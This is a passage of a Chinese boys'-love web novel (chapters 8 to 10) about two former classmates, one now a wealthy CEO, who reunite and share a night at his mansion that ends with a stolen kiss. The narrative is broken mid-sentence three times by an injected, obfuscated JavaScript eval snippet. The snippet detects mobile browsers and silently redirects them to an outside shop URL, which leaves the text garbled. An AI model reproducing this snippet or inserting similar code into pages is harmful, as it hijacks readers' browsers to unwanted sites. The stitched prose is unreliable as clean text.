经他提醒,季铭川这才收回手,看向旁边双臂环胸的许凌音:“不好意思,凌音姐,我们三个太久没见了,忍不住多寒暄了几句。” 许凌音:“没事,能理解。” “林斯年我知道,在Z大读书,今年应该要毕业了吧,先提前说一声毕业快乐。”季铭川说,“言珩,那你呢,你消失的五年都做什么了?” 言珩还是不说话,场面一度陷入僵持。 林斯年感觉自己的头皮一阵发紧,大拇指的指甲陷入食指指腹更深处:“言珩确实过得挺好的,他现在是……” 没说完,被言珩打断:“就是找了家普通的公司上班呗,每个月的工资刚够自己吃喝。” 闻言,林斯年愣了愣。 旁边的许凌音突然笑了,感慨地说:“现在工资开得都低,挣的钱够自己吃喝就不错了。” “这样啊,不过相比起以前来说,已经变得很好了,不是吗?言珩。”季铭川说。 “是啊。”言珩赞同点头。 许凌音打断他们的谈话:“走吧,再不去面试都要把晚饭都错过了。” “好。”冲许凌音点了一下头,季铭川看着林斯年和言珩说,“下次有空请你们吃饭。” 林斯年笑着点头:“好。” 季铭川:“拜拜,下次见。” 林斯年:“拜拜。” 等言珩和林斯年的车驶出停车场,季铭川把身后车副驾的车门打开:“凌音姐,面试就定在你的工作室吗?我开车带你过去吧。” “不用了,我开车带你,等会儿面试完我还得回学校呢,正好带你回来。”许凌音说,而后看了看季铭川的车,笑得意味深长,“这帕美不错啊,家里给买的?” 季铭川不好意思地挠了挠头:“对。” 许凌音:“出来体验生活是吧?” 季铭川:“也可以这么说吧。” 许凌音拿着车钥匙向自己的车走去,也没管季铭川要不要上车,自己先上了主驾,把车发动了。 林斯年可能看不懂,但是她有什么看不懂的,这个季铭川对言珩的恶意一点都不掩饰,而且话里话外在炫耀。 虽然不知道他们闹过什么不愉快,但是她挺爱看乐子的。 她发自真心地好奇,季铭川知道了言珩真实的身份,知道了他的这辆帕拉梅拉在言珩车库里可能都排不上号时,他的表情该有多惊喜。 季铭川把车门关上,看着许凌音的背影,看着她上了一辆均价二十万的车,轻蔑地扯了扯嘴角。不过答应好要去面试,他可不是言而无信的人,迈步跟在许凌音身后上了副驾。 一上车,他的手机弹出一条消息,他点进和江野的聊天页面。 予:里面是言珩吗?看车牌他在Z市? 引用了季铭川发的上一条消息,是一张很模糊的地下停车场的照片,里面有两个人,一个站在副驾驶旁边,一个戴着口罩刚坐进副驾。 Charles:对。 予:那另一个人呢? Charles:是林斯年。 予:他俩? 季铭川没有详细解释,他把手机放进口袋,侧目看向车窗,外面的景色向后迅速向后倒退。不知道想到了什么,他闭上眼睛,完完全全将自己贴在座椅靠背上。 林斯年就是再笨,也看出来了季铭川对言珩毫不掩饰的恶意和嘲讽。他抓着安全带的边:“我记得高中的时候,班长不是这样的,不知道为什么,现在变得……” “变得什么?”言珩握着方向盘。 “我也说不上来。” 林斯年悄悄叹了口气,明明在他印象里,季铭川是一个风光霁月的人,永远都好脾气,也不会跟别人主动挑起矛盾,今天却这么为难言珩,这根本不像这人能做出来的事情。 不过他很快想明白,也许是过了太久,他对季铭川的记忆已经模糊了,也许是季铭川在国外待了五年性格变了,也许只是因为言珩。 季铭川和言珩之间有过什么矛盾,林斯年其实也不是很清楚。高中的言珩太过孤僻,而季铭川温柔且平等地照顾每一个同学,包括言珩。 所以要有什么问题,林斯年推测,只能出在言珩身上。 言珩讨厌林斯年。 季铭川讨厌言珩。 按理来说,敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374868|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的敌人就是朋友,林斯年该感到痛快。但事实上,他摸了摸胸口,里面空落落的。 平心而论,就算言珩讨厌他,也没有做过对他很坏的事情,所以他不讨厌言珩。 也……有点不希望别人讨厌言珩。 言珩本来打算带着林斯年吃完晚饭,再把他送回学校。没成想,两人吃完饭,从餐厅出来,外面就下起了大雨,雨点噼里啪啦地落下,冷意和潮湿迎面扑在脸上。 南方的春天总这样,雨来得让人毫无防备。 言珩伸出手:“下雨了。” 林斯年:“嗯。” 两人站在门口,仰头看着夜幕,这顿饭吃得悄无声息,他们心里都装着别的事情,沉甸甸的,把胃压缩得很小,再也装不下别的东西。 旁边穿着正装的门童拿着一把黑色雨伞,过来招呼,礼貌出声问:“先生,需要帮您把车开过来吗?” “不用了,我让司机来接吧。”言珩说完,带着林斯年又坐回餐厅的大堂沙发上。 言珩谢绝了侍应生递过来的水果和甜点,拿了两瓶水,把其中一瓶给林斯年,自己拧开另一瓶喝了两口。 “我们晚上这一顿饭,花了多少钱呀?”林斯年随口问说。 言珩:“不多。” 林斯年:“那你为什么不让我看账单?” 言珩:“也就比中午的多两个零吧。” 林斯年:“……”还在说他小气? 言珩看了眼手机,司机说再有十分钟就到了,他揉了揉眉心。就算再不在意别人的想法,但要说季铭川的话对他完全没影响,那是不可能的。毕竟,那可是林斯年曾经喜欢过、并且放在心里的人。 但是不管怎样,他们目前没什么关系,他还是有机会的,不是吗? 雨还在下,甚至有越下越大的趋势,言珩状若无心说:“我在Z市有私人住宅,挺大的,就在离这里不远的地方。” 林斯年喝了口水:“多大?” 言珩:“你完全想象不出来的大。” 林斯年:“你在向我炫富吗?” “不,我只是在跟你说,从这里到我家只需要十分钟,但是回你学校,可能需要四十多分钟,再加上堵车,你回去可能已经十一点多了……” 林斯年有点生气,他对于吃什么这件事持有一种完全随缘的心态,但是言珩不一样,非得带他来这家据说私密性非常好、菜品绝顶、地处郊区的餐厅来吃。 一来一回,路上就好几个小时了。 十一点多回去,他就要跟室友碰上面,一想到他这么晚回去,室友就要拉着他问东问西,他就感到一阵憋屈。 言珩还在跟他炫耀:“家里房子很多,平时除了佣人之外,不会有人,也就是我刚回国,最近来这边跟进项目才住了进去,不过太空旷了,我在走廊里喊一声,好久之后才听到回声呢……” “停。” 言珩转头看向林斯年,其实他只是抱着一点侥幸心理,给自己增加筹码,一会儿提出让林斯年跟他回家住一晚上,对方答应的可能性大一点。 而后,他低头嘲讽一笑,怎么可能呢,就算他说破了嘴皮子,林斯年会跟他回家吗? 还是不要自取其辱了,他想,于是把最后一句打算问出口的话从脑海里移除。 “你家那么好,那我也回你家住吧。” 言珩:“……” “那是昨天的车吧,司机来接我们了。”林斯年指了指外面,“走吧。” 8. CH.08 黑色的商务车停在门口,司机从主驾下来,打着伞等候在门口。 林斯年从沙发上起身,言珩握着印有voss字样的矿泉水坐着,似乎走神了。 过了好一会儿,言珩看着林斯年,目光终于有了实质。他薄唇轻启:“今晚要跟我回家住一晚吗?” “不可以吗?你家那么大,你不会这么小气,不留我住一晚吧?”林斯年说。 “不是。”言珩抿了一下唇,嘴巴有点干,他拧开水瓶又喝了两口。 清凉的水从喉间一路灌进胃里,他刚刚不觉得这水凉,这会儿却觉得凉得舒坦。 冷热总是对比出现。 林斯年看了看门口,面无表情的司机打着伞还在等,裤腿上沾了一些雨水。不忍心让人等太久,林斯年凝眉,觑着言珩。 言珩长手长脚,两只腿分开坐,喝完水不知道在想什么,浑身都舒展开,明明他人还在这里,却给人一种神游天外的感觉。 林斯年于是去抓他手腕:“言珩。” 言珩猛然抽手,林斯年刚碰到他皮肤,就被狠狠甩开。 林斯年一愣,只见言珩收回手,把矿泉水放在一旁的桌子上,整了整衣摆,好整以暇地站起来。 “那我们走吧。”言珩说。 “……”什么毛病? 林斯年跟在言珩后面,小跑了两步跟上,突然想起了什么:“等等,我的书包,我的书包还在那辆车上面呢。” 言珩在门口停下,转过身等待,顺手把钥匙递给旁边的门童:“车后座上有一个红色的书包,帮我取一下。” 门童拿了钥匙,点头,撑着伞出去了。 很快,书包到了林斯年手里,他挎着书包,边上车边检查里面的东西。 上了车林斯年才发现,除了司机,副驾还坐了一个人,是一个头发梳在后面一丝不苟的中年男人。他俩上车,他毫无所觉一样,还在看手里的平板,甚至往下滑了一页。 林斯年愣了愣,看向旁边的言珩。 言珩没跟他解释前面的人是谁,反而关心起了他的书包,盯着他在里面翻找东西的手:“找什么呢找得这么仔细?” 林斯年:“在找明天吃的药。” “什么药?你生病了?”言珩问。 “不是,是帕罗西汀,每天早上都要吃,突然不吃的话戒断反应很严重。”林斯年说。 “帕罗西汀?” “嗯。”林斯年并不忌讳提起这个,他拿出药在言珩面前晃了晃,“高三的时候,太焦虑了,我妈也是实在没办法了,只能带着我看医生,后来就一直吃药了。” “抱歉,我不知道。”言珩抿唇。 “没事。”林斯年笑了笑。 暖气依旧很足,林斯年靠在座椅上,默默听着车内舒缓的钢琴曲,雨点打在玻璃上,发出沉闷的咚咚声,环境更显安谧。 言珩没有再说话,侧脸看向窗外。 林斯年看过去,只能看到对方的后脑勺和凸出来的颈部线条。看着看着,他躺在贴合的靠枕上,把眼睛闭上了。 陷入黑暗的前一秒看到的,似乎是言珩终于转过头,表情沉沉。 十几分钟后,MPV开进地下停车场,司机先下车候着。李由看完平板上的文字,按灭屏幕,并没有转过身,但话却是对后面的人说的。 “小少爷,到家了。”他太久不说中文,说的时候会有一些奇怪的拐音。 言珩从喉咙里挤出一个“嗯”字。 李由:“要把他喊醒吗?” 言珩:“不用。” 回国后,出去谈生意,言珩常坐这辆车,里面有一个小型的衣柜,放了一套备用的正装、一件大衣和一些不同款的小配饰。 言珩拿出黑色的大衣,盖在林斯年身上,从另一边打开车门,抱着他下了车。 李由露出一个意味不明的笑:“我不上去了,等会让司机把我送回去。” “好。”言珩说,林斯年很轻,他抱起来几乎不怎么用力,这家伙睡得很沉,抱下车都没有醒来,他看了看怀里被大衣挡得严实的人,又看向李由,“为什么没有告诉我他在吃药?” 李由眉头一挑:“SAD而已。” SAD——Social Anxiety Disorder的简称,中文名叫社交焦虑障碍。在李由看来,他承认这是一个在医学上有定义的心理障碍疾病,但是他个人不认为这个病在实际中有什么需要特殊对待的。 看言珩有些不悦地皱眉,李由耸了耸肩:“他的简历挑出来,我让管家放你书房了。他应聘的岗位可是技术岗,你真想要他当你助理?” 言珩:“怎么?” 李由:“没什么,Z市毕竟是分公司,老爷希望的可不只是让你待在这里。你还记得,把你带回来的时候你答应好了什么吗?” 言珩:“不劳您费心,我记得。” “那就好。”李由笑了,而后看着被言珩用大衣整个盖住,抱在怀里,只露出凌乱头发的人,“你年轻所以有犯错的资本,但是玩物丧志也是不可取的,你站在这个位置,身上就天然有你该承担的责任。” “李叔,说完了吗?”言珩说。 “说完了。”李由耸肩,又重新坐回副驾,“真搞不懂你们这一代人,爱来爱去,好fancy啊。” 这个房子已经空置了很久,言珩一个月前从国外回来,在这边过了年,才稍微有点人气。让早已等候在旁边的佣人把要用的东西带上,言珩抱着林斯年上了电梯。 回想起高中,林斯年好像也总是爱睡觉,不爱跟人交流,下课别人都在聊天的时候,他就趴在桌子上补觉,有睡不完的觉似的。 以前,言珩只觉得那是习性,但今天有了点别的猜测。焦虑到已经成了病,那他在外面的时候应该无时无刻都处于紧绷状态,类似于猫科生物的应激,他一直处于这样的应激状态,怪不得长不胖呢,抱起来轻得跟片羽毛似的。 抱了一路,人都没醒来,言珩把林斯年一放到床上,人就醒了。 林斯年揉了揉眼睛,把身上的大衣拨开,环视四周嘟囔说:“我睡着了?” 言珩:“嗯。” 房间很宽敞,有一个很大的落地窗,能看到Z市最出名的景点忘忧津,远远俯瞰,风景秀丽,这会儿还有不少人。隔音很好,从里面听不到外面的一点风吹草动。 身下的床垫厚实,林斯年摸了摸,手掌传来舒服的触感,其实他很喜欢睡软床,但是林婉清觉得睡硬床对腰好,家里都是硬床,包括学校的床垫。 “洗漱完早点睡吧。”言珩说。 “好。”林斯年抓起大衣,“衣服。” 言珩接过衣服,拍了拍他的脑袋,嘱咐了他几句洗漱用品、睡衣以及可能用到的按键在哪里,又说他不用拘谨,随便用,随便看。 林斯年一一点头,应下。 等言珩关好门走了,林斯年才有空认真观察这间卧室。以前他也会幻想豪宅是什么样的,可能空间很大,里面的家具配置很高,房间自带卫生间、衣橱以及吧台什么的,但从来没有这一刻真实。 林斯年左看看右看看,摸摸这里摸摸那里,心里一方面想也不过如此,另一方面想,他什么时候也能买到这种大房子。 洗完澡,他躺在床上,很快就困了。 在彻底睡过去之前,收到了一条消息,手机的叮咚声让他惊了一下,想起自己忘记调静音了。把床头灯打开,林斯年点进微信,是陆绾绾发来的消息。 晚晚:睡了吗,弟弟? 负熵:姐,我还没睡。 晚晚:[图片] 林斯年点开截图,里面是极溯官网上关于新上任的CEO介绍。照片还没有上传,只有很模糊的大概介绍,包括之前跟进过什么项目,取得了什么成就等等。 姓名那一栏写的是,严珩。 林斯年刚看完,显示图片已经被撤回。 晚晚:极溯的总裁居然和言珩的读音一样,你猜他们会不会有什么关系啊? 三十秒过后,同样被撤回。 晚晚:珩是个好字呀,君子如珩,羽衣昱耀,怪不得大家都喜欢用珩来起名。 晚晚撤回了一条消息。 晚晚:你还记得高中的时候,你刚转学来的那会儿,语文老师让大家做活动,让我们每个人不实名地写一段关于班里同学的描写,然后让大家猜测,他描写的那个人是谁。你还记得言珩写的是什么吗? 晚晚撤回了一条消息。 晚晚:那句话,我到现在都记得呢。 晚晚撤回了一条消息。 晚晚:大家都猜那句话是夸我的。我想,那个时候言珩就偷偷暗恋我吧,可惜了,可惜那会儿我一心只想学习,从来没有对他表示过好感。 晚晚撤回了一条消息。 晚晚:现在回想起来,没有谈一段高中校园的恋爱,还挺遗憾的。尤其,那会儿言珩除了家里穷,不喜欢跟人交流,其他地方都优秀,人还长得那么帅。 晚晚撤回了一条消息。 晚晚:弟弟,哎,从校园到职场,可能是人生将要迈入新阶段了,所以总忍不住跟你念叨这些,你不会嫌我烦吧。 晚晚撤回了一条消息。 林斯年握着手机,到最后,里面竟然除了最开始的睡了吗和没睡两句还在,下面什么都没有了。 就好像那些话只是为了给他看。 就好像,他看完了,那些话存活于世的价值就被赋予过了。 就那么看了很久,林斯年恍然回神,他脸色发白把手机关机,扔在一边,脑子里一直盘旋着陆绾绾给他发的话—— “你还记得言珩写的是什么吗?” 怎么会不记得?怎么敢忘? 过了大约几分钟,林斯年摇摇头,强迫自己把纷乱的思绪从脑袋里甩出去,摸上脸颊。他又在无意识地紧咬牙关,放松之后,整个下颌都在隐隐作痛。 睡觉吧,睡着了就什么都不想了。 他在心里对自己说。 林斯年把被子往上拉,仰躺着,两只手紧紧抓住被子的边。 太安静了,他想起以前看过一个论断,人在太安静的、没有回声的地方,很容易精神崩溃。于是他迫切地想制造出一点动静。最起码得证明,诺大的空间里自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374869|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己还活着。 “咚咚——” 敲门声打破寂静,林斯年陡然看向门口。 言珩小心翼翼把门推开一条缝,看到床头灯还开着,林斯年正一脸惊恐看着他。说实话,他被林斯年的表情吓到了一瞬,但也只是一瞬间。 林斯年从齿缝里蹦出几个字:“言珩。” 言珩蓦地想起了某种画面—— 雨天,一地泥泞,被抛弃的幼猫。 “是我。”他把声音放得更轻了一点。 过了好一会儿,言珩站在门口,没动。 林斯年坐起身,用两只手使劲揉了揉脸,面部肌肉被动放松。 “言珩,你来做什么?” 言珩舔了一下嘴唇,声音干涩:“打雷了,雷声太大,我不敢一个人睡。” 林斯年看了眼窗外:“啊? “所以,我能跟你一起睡吗?” 如果现在站在门口的是除了言珩以外的任何一个人说,因为外面雷声太大所以请求一起睡,在说完这句话的下一秒,林斯年都会毫不犹豫地把巴掌扇到那人脸上。 他很小的时候就一个人睡了,除了上了大学被强迫住在宿舍,其余时候都有自己独立的房间。哪怕是住宿舍,他都得用厚厚的床帘隔绝处一个绝对安全不被打扰的空间。 然而,站在门口的—— 林斯年一眨不眨盯着言珩,对方穿着灰色的棉质睡衣,为保持距离,刻意只开了一点门,走廊的灯透过门缝,言珩的神色被隐藏在阴影下。 “那你……进来吧。” 为什么是言珩的话,他会觉得没关系,林斯年在心里问自己。 是因为这本来就是言珩的房子,言珩睡哪里都合理,还是因为他明白知道言珩讨厌他,又认定了他不喜欢和男生亲密接触,一起睡觉也不过是言珩在恶心他。而他怀着知晓一切的眼睛,只是想看言珩为了恶心他能做到什么程度。之前是亲吻和拥抱、现在是同睡一张床,以后呢。 听了他的话,言珩愣了愣。 林斯年揉了揉眼睛,重新躺回被子里,背对着留出的一大片空间:“不过我睡觉可能会做噩梦,偶尔也会说梦话。” “没关系。”言珩带上门,轻手轻脚进来。 林斯年感觉身后的床垫凹陷下去,哪怕刻意不去想,他也无法忽视旁边大体积有热量的人。 言珩把床头灯关了。 有沙沙的声音,是言珩在动,他进来的时候是躺平的,也许是转到右边去了,也许是转到左边来了。 一只温热的手掌落在林斯年的肩膀上,安抚地拍了拍,很快撤走。 而后,是言珩的声音:“安心睡吧。” 林斯年于是知道了,他转到了左边。 这一觉林斯年睡得并不踏实,言珩很安静,如果不是知道了有人在旁边,林斯年都不会觉得他们是在共享一张床。 也许是晚上和陆绾绾聊天,林斯年被那些话影响到了,梦里陆陆续续会浮现一些回忆的片段。 有时候是在一节语文课上。 有时候是在家里,有人对他说什么,逐渐变得遥远,卷着纷飞着的白茫茫的东西飞上天际。 一会儿是男声:“你这个人……本来就让人觉得恶心透顶了。” 一会儿是女声:“他喜欢的不是你……他喜欢的是我,你忘了吗?” 他做了梦,睡着了也在乱动,滚来滚去。言珩却一动不敢动,能得到林斯年的允许进房间,对于他来说,已经是幸福从天而降,把他砸得晕乎乎的。更别提要是因为他乱动被赶出去,他得有多悔恨。 窗帘只拉了纱帘,有月光照进来,言珩注视着近在咫尺的人。周围是深蓝色的,林斯年是白色的,像坠在枝头玉兰花透亮的白,他凝着眉,呼吸。所有的事物都像是刚从海里捞起来,湿漉漉的。 言珩屡次握紧拳头,松开,再握紧。最后脑子里有一根弦猛地崩断了。 他将手轻轻放在面前人的脸颊,触感是柔软细腻的,林斯年没醒,他又大胆了一些,大拇指在对方脸上仔细描摹。他想,人为什么不能变成章鱼,触手上长满吸盘,这样他就可以毫无保留地感受到这个人的存在。 只要确保对方的存在,他就安心了。 他真的好喜欢好喜欢好喜欢这个人。 一想到这个,言珩就眼眶发热。 大拇指最后停留的地方是林斯年的唇,竖着贴在唇中间。每个人独一无二的指纹,每个人独一无二的唇纹,之间再没有缝隙。言珩蓦地想起昨天晚上林斯年印在他脸颊的那个吻。 …… 林斯年从梦中惊醒,记忆还停留在手机屏幕上越来越大的聊天框,占据了他的整个视野,是陆绾绾给他发的消息—— “……那个时候言珩就偷偷暗恋我吧。” 林斯年的心脏像是被狠狠攥紧,整个人都被那句话打入地狱。他猛地睁开眼,如同溺水之人抓住浮木之后,短暂透出水面,大口呼吸。 意识回笼,林斯年感觉,有什么温暖的东西贴在他的脸上和唇上,而后是一片阴影压了过来。 是言珩隔着手指落在他唇上的一个吻。 9. CH.09 提问1:偷亲别人被发现了是一种什么体验? 言珩回答:谢邀,人在床上,刚被发现,真的刚被发现,现在还在和被偷亲的人面面相觑,腿软得走不动路。 简单来说,我偷亲了一个男生,是我从高中一直暗恋的人。 事情是这样的,五年后重逢,他自投罗网到我家住,我找了个拙劣的借口,想和他同枕而眠,我说外面打雷我害怕,他妈的,我对着子弹都未必能打破的玻璃,说得面不红心不跳的。 我把这句话说出口的瞬间,和坐在床上的人对视了几秒,那几秒钟的时间里,我已经预料到了自己的死期。 那一刻,我甚至感觉有什么东西狠狠地扇在了我的脸上……香香的……嘿嘿。 咳咳,扯远了,再把话题扯回来。 他居然……对我毫不设防!他让我进来! 而且,我们同床共枕,他睡熟了。 他香香的、热热的、乖乖的。我当时的脑子可能是被缺氧搞傻了。我心想我就偷亲一下,而且隔着手指,神不知鬼不觉的。 于是,我撅起嘴,以0.5倍速缓慢靠近,嘴唇离我的大拇指指背还有0.001公分的时候—— 他睁开了眼睛。 你们能想象到那个画面吗? 他的脸,离我只有五厘米,瞪着一双迷茫的大眼睛。而我,保持着撅嘴前倾的姿势,像个被点了穴的呆鹅,嘴还悬在半空中没收回来。那一瞬间,我看到他瞳孔里倒映出一个极其猥琐的人影。 ——是我。 这一刻,我连墓碑上写什么都想好了:此人因嘴欠,被乱刀砍死在家中。 家人们,在线等,挺急的,人在Z市豪宅,偷亲未遂,算felony(重罪)吗? 提问2:被人偷亲时醒来是一种什么体验? 林斯年回答:谢邀,人在床上,刚醒来,真的刚醒来,现在还和偷亲我的人面面相觑,心脏安安全全待在胸膛里,不跳了。 简单来说,我做梦,惊醒,一睁眼和梦里暗恋别人的人对视上了,而他正在偷亲我。 而且!他毫无表情! 亲我的表情和坐在办公桌前面处理文件的表情一毛一样! 根本不像是在偷亲人,像是在谋划着怎么把我捆住藏进地下室严刑逼供。 家人们,在线等,挺急的,我现在是应该闭上眼睛继续装睡呢,还是把我一百厘米的砍刀呼他脖子上呢? 言珩微微挪开身体,躺回原位,把手也从林斯年脸上撤走,然后闭上了眼睛,很快,呼吸变得均匀而绵长,就好像刚刚的一切都只是林斯年的幻觉。 但脸颊已经被摩挲到发烫,林斯年看着离他不远的脑袋,牵起嘴角:“幼稚。” 还装梦游呢?谁信谁是傻子。 这人还真是,因为讨厌他,为了恶心他居然能做到这种地步,虽然隔了一根手指,但那也是一个实打实的贴着嘴的吻! 言珩的睫毛轻轻颤动,还在装睡。 林斯年重复一遍:“幼稚。” 林斯年目光从言珩的脸上划过,天快亮了,房间里被照得亮堂堂的。言珩的皮肤很白,和他缺了血色白瓷一样的白不一样,言珩的白是透着红的粉白,在这种状况下脸颊几乎红得要滴血。 林斯年想起以前见过言珩的妈妈,同样带着异域风采的五官,在不同性别身上呈现出来的效果是完全不一样的。在言珩身上,是拒人于千里之外的距离感和浓墨重彩的张扬。 也许是后面身居高位,他不再像高中时候稚气未脱,那时候的孤僻在现在看来,也可以算是养尊处优的冷漠。 几乎都要认不出来是同一个人了。 林斯年想,但其实还是同一个人。 同样幼稚。 他幻想,言珩刚刚是怎么做的。于是,他也把手放到了言珩的脸颊上,手心紧紧贴着,他的第一感觉是烫,热度几乎灼穿掌心。 林斯年用指尖勾画着言珩的五官。 言珩闭着眼睛,呼吸全乱了,胸口不平静地上下起伏,但是并没有睁开眼睛,只是忍耐着什么似的皱起了眉。 林斯年轻轻摸上他的眉头,用力抚平,而后倾身贴上言珩的唇。 那是一个毫无遮挡的吻,中间没有手指,什么都没有,唇和唇紧紧贴着,柔软的、湿润的、带着试探意味的。 但也没有更深入了。 林斯年只是凌空上半身,将两人的唇贴着,仅仅只是贴着,鼻尖相抵,能感觉到言珩喷洒在他脸上滚烫的气息。 隔了大约十几秒,林斯年才离开,居高临下注视了对方很久。言珩依旧闭着眼睛,只是用手狠狠抓住了林斯年的睡衣下摆,攥得很用力,指节透着压不住的红。 林斯年有点恼了,怎么捉弄完别人,这人自己先装死了? 他掰开言珩的手,丢在一边。 恶从胆边生,他又上手去扒拉言珩的眼睛,双手的食指和大拇指分别扒在言珩的上下眼皮,用力往开那么一撑。 言珩:“……” 言珩意识朦胧地哼哼了一下,环视四周,脸上都是茫然的神色,像是刚清醒过来,看到林斯年后有点惊讶,声音里带着磁性:“怎么啦?” 林斯年坐起来,双臂环胸:“装。” 言珩揉了揉头发:“我装什么了?” 林斯年哼笑:“偷亲我是吧?” 言珩一副我是谁我在哪我在干嘛你在说什么梦话的表情:“啊?” 林斯年:“还装?” 言珩:“不是你在偷亲我吗?” 林斯年被子下面的脚踢了一下言珩的腿:“全记得呢你,那你装什么?还倒打一耙?” 言珩:“……” 林斯年不屑地说:“幼稚不幼稚啊你,你真觉得我会因为这个被影响到?你太自以为是了!你要是知道我……” 他没说完,后面的话卡在喉咙里,无论如何都说不下去了。 言珩上手摸了摸嘴角:“我没有以为你会被这个影响到,我……” 两个人都心怀鬼胎。 看林斯年抱着胸坐在旁边,像是不愿意看到他一样别过脸,言珩把手指从唇角挪开,小声反驳:“而且我哪里幼稚嘛。” 林斯年:“再给我犟!” 言珩:“我没犟。” 林斯年:“你的生日是多会儿?” 不明白为啥对方突然岔开话题,但言珩还是下意识回答:“五月二十八。” 林斯年:“几几年?” 言珩:“2004年。” 林斯年又指了指自己:“那我呢?” 言珩:“2003年12月16日。” 林斯年抬起下巴,质问:“那你承认你自己幼稚吗,我可是哥哥,我说你幼稚,你就是幼稚。” “那好吧。你说什么就是什么吧。” 林斯年用余光觑言珩,只见他平躺在床上,看着天花板,一副“我还能拿你怎么办”的表情。 林斯年就火了:“你要心服口服。” 言珩:“好,我心服口服。” 林斯年:“你这是心服口服的样子吗?” 言珩:“不是。” 林斯年皱眉:“你这人……” 话没说完,言珩悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374870|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠转了个身,从仰躺着变成趴在床上,他整个人在床上呈现一个大字型,声音从枕头里闷闷地发出来:“我这是五体投地的样子。” 林斯年:“……” 闹了一会儿,两人彻底清醒了,林斯年点开手机屏幕,这会儿还早,才七点整,有一条林婉清给他发的消息,问他是不是在宿舍住,林斯年回她是。 “我要再睡个回笼觉,你别吵我。”林斯年钻回被子里,“你今天想去哪里玩?” “去爬山吧。”言珩说。 “好。”林斯年把被子拉到下巴上面一点,闭上眼睛,“哦对,说起生日,我每年过生日的时候都会收到一叠从国外寄回来的明信片,每年都是从不同国家寄回来的。” 言珩愣了一下:“是吗?” “是啊,都是打印的字体,根本不知道是谁寄给我的。”林斯年想了想,睁开眼睛,“不对,我大概知道是谁了?” “……啊?”言珩说。 “应该是班长吧,也就他在国外了。”林斯年胡乱猜测,“不然就是寄错了,因为我每次都回信,然后就再也没有消息了。” “……可能吧。”言珩垂头。 再次醒来的时候,林斯年看了一下手机,是十点多,他这次睡得很好,没有再做梦了,三个小时的深度睡眠让他感觉神清气爽。 言珩不在房间了,林斯年从床上下来,推开门走出去,穿过走廊下了楼。 言珩正坐在客厅的大沙发上,手里抱着一块平板看,出乎意料,他脸上挂了一副眼镜。林斯年高中的时候从来没见过他戴眼镜,于是轻轻走过去,仔细端详了一会儿。 林斯年上手把他的眼镜摘下来,戴在自己脸上试了一下:“没度数呀?” 言珩:“防蓝光的。” “哦。”林斯年把眼镜还给他,“现在不愧是变成大老板了,活得还挺精致呢。” “啧。”言珩扶了一下眼镜,“饿不饿,早饭吃烤鸡配沙拉行吗?” 林斯年摇头,伸出食指左右晃了晃:“早饭我只吃概念餐,米其林三星的主厨每天凌晨三点把我家农场的奶牛叫起来做Massage,挤出第一口牛奶,再用法云山清晨五点的露水煮沸,冲泡从安第斯山脉空运来的藜麦。我喝一口,说太苦了。然后倒掉,让助理给我带楼下的煎饼果子,多加两个蛋。” 听了他这么一长段话,言珩扶上额角,低头无奈浅笑:“说人话。” “我想吃煎饼果子。”林斯年从书包里拿出药,拿起桌上的水杯,就着把药吞了,“不是去爬山吗?正好出去,我要吃煎饼果子。” 言珩点头起身:“行,走吧。” 他们打算去的山叫枕月山,是当地一所著名的佛教名山,因为许愿特别灵验,所以什么时候去的人都很多,尤其初春时分,海棠和玉兰开得到处都是,踏青的人要把台阶都踩平。 因为计划只有两人一起去游玩,言珩没有让司机开商务车,换了一辆还算比较低调的suv,车开进市中心的时候,下车买了煎饼果子,还顺便去旁边的便利店买了一些水和便食。 路过林斯年家的小区,为了爬山方便,他回去换了一身衣服。 去到大众常规爬山路线的上山点大约要将近两个小时,言珩在车上办公的时候,林斯年边吃煎饼果子边看手机。 途中,一个常年没有动静的群聊突然聊得热火朝天,尽管设置了免打扰,但是多次艾特林斯年,还是让他点了进去。 他越看眉皱得越紧,最后划到群聊里,今天早上发的第一条消息,是一张照片。 一张他和言珩在地下停车场的照片。 10. CH.10 照片里,他刚刚坐进副驾驶,脸上戴着口罩,言珩则一只手扶在车门上方,一只手掐着一支烟,神色被隐藏在阴影之下。拍的角度不好,依稀能看到两个人都在注视着对方,一高一低。 挺有氛围感的。 林斯年手指在图片上停顿,点了保存。 “在看什么呢?”言珩视线从平板上挪开,短暂看了他一眼。 林斯年手一抖:“看群聊消息。” “什么群,看得这么认真?”言珩问。 “一个高中群聊。”林斯年说。 “嗯。” “你要看看吗?”林斯年问。 “算了吧。” 林斯年纠结了一下:“要不你还是看一下?他们聊的内容,是关于你的。” 